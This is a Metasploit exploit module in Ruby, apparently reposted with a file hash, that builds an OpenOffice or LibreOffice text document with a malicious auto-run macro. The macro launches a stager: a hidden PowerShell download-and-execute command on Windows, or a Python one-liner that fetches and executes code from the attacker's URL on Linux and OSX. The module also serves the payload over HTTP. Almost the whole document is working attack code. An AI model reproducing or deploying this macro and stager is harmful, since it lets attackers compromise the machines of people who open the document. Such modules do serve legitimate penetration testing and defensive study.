This Metasploit module generates an Apache OpenOffice Text Document with a malicious macro in it. To exploit successfully, the targeted user must adjust the security level in Macro Security to either Medium or Low. If set to Medium, a prompt is presented to the user to enable or disable the macro. If set to Low, the macro can automatically run without any warning. The module also works against LibreOffice.
1b7cc506664ea4d132ab76a0a888077b8c6444117218027b8a1181b3bd87e829
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex/zip'
require 'cgi'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::HttpServer
WINDOWSGUI = 'windows'
OSXGUI = 'osx'
LINUXGUI = 'linux'
def initialize(info={})
super(update_info(info,
'Name' => "Apache OpenOffice Text Document Malicious Macro Execution",
'Description' => %q{
This module generates an Apache OpenOffice Text Document with a malicious macro in it.
To exploit successfully, the targeted user must adjust the security level in Macro
Security to either Medium or Low. If set to Medium, a prompt is presented to the user
to enable or disable the macro. If set to Low, the macro can automatically run without
any warning.
The module also works against LibreOffice.
},
'License' => MSF_LICENSE,
'Author' =>
[
'sinn3r' # Metasploit
],
'References' =>
[
['URL', 'https://en.wikipedia.org/wiki/Macro_virus']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'DisablePayloadHandler' => false
},
'Targets' =>
[
[
'Apache OpenOffice on Windows (PSH)', {
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64]
}],
[
'Apache OpenOffice on Linux/OSX (Python)', {
'Platform' => 'python',
'Arch' => ARCH_PYTHON
}]
],
'Privileged' => false,
'DisclosureDate' => "Feb 8 2017"
))
register_options([
OptString.new("BODY", [false, 'The message for the document body', '']),
OptString.new('FILENAME', [true, 'The OpoenOffice Text document name', 'msf.odt'])
], self.class)
end
def on_request_uri(cli, req)
print_status("Sending payload")
if target.name =~ /PSH/
p = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true, exec_in_place: true)
else
p = payload.encoded
end
send_response(cli, p, 'Content-Type' => 'application/octet-stream')
end
def primer
print_status("Generating our odt file for #{target.name}...")
path = File.join(Msf::Config.install_root, 'data', 'exploits', 'openoffice_document_macro')
docm = package_odt(path)
file_create(docm)
end
def get_windows_stager
%Q|Shell("cmd.exe /C ""#{generate_psh_stager}""")|
end
def get_unix_stager
%Q|Shell("#{generate_python_stager}")|
end
def generate_psh_stager
@windows_psh_stager ||= lambda {
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(get_uri)
download_and_run = "#{ignore_cert}#{download_string}"
generate_psh_command_line(
noprofile: true,
windowstyle: 'hidden',
command: download_and_run)
}.call
end
def generate_python_stager
@python_stager ||= lambda {
%Q|python -c ""import urllib2; r = urllib2.urlopen('#{get_uri}'); exec(r.read());""|
}.call
end
def get_statger
case target.name
when /PSH/
get_windows_stager
when /Python/
get_unix_stager
end
end
# This macro code has the following in mind:
# 1. It checks the platform to eliminate less misfires. Since we have only tested on Windows/Linux/OSX,
# we only want to fire at those.
# 2. Originally, I tried to embed the payload in the macro code, write it out and then execute it.
# This turned out to be problematic, because for some reason OpenOffice is not able to
# write a large string to a file (I've tried either shell("echo") or using the macro API).
# The stager code is similar to web_delivery.
def macro_code
CGI.escapeHTML(%Q|
Sub OnLoad
Dim os as string
os = GetOS
If os = "#{WINDOWSGUI}" OR os = "#{OSXGUI}" OR os = "#{LINUXGUI}" Then
Exploit
end If
End Sub
Sub Exploit
#{get_statger}
End Sub
Function GetOS() as string
select case getGUIType
case 1:
GetOS = "#{WINDOWSGUI}"
case 3:
GetOS = "#{OSXGUI}"
case 4:
GetOS = "#{LINUXGUI}"
end select
End Function
Function GetExtName() as string
select case GetOS
case "#{WINDOWSGUI}"
GetFileName = "exe"
case else
GetFileName = "bin"
end select
End Function
|)
end
def on_file_read(short_fname, full_fname)
buf = File.read(full_fname)
case short_fname
when /content\.xml/
buf.gsub!(/DOCBODYGOESHER/, datastore['BODY'])
when /Module1\.xml/
buf.gsub!(/CODEGOESHERE/, macro_code)
end
yield short_fname, buf
end
def package_odt(path)
zip = Rex::Zip::Archive.new
Dir["#{path}/**/**"].each do |file|
p = file.sub(path+'/','')
if File.directory?(file)
print_status("Packaging directory: #{file}")
zip.add_file(p)
else
on_file_read(p, file) do |fname, buf|
print_status("Packaging file: #{fname}")
zip.add_file(fname, buf)
end
end
end
zip.pack
end
def exploit
super
end
end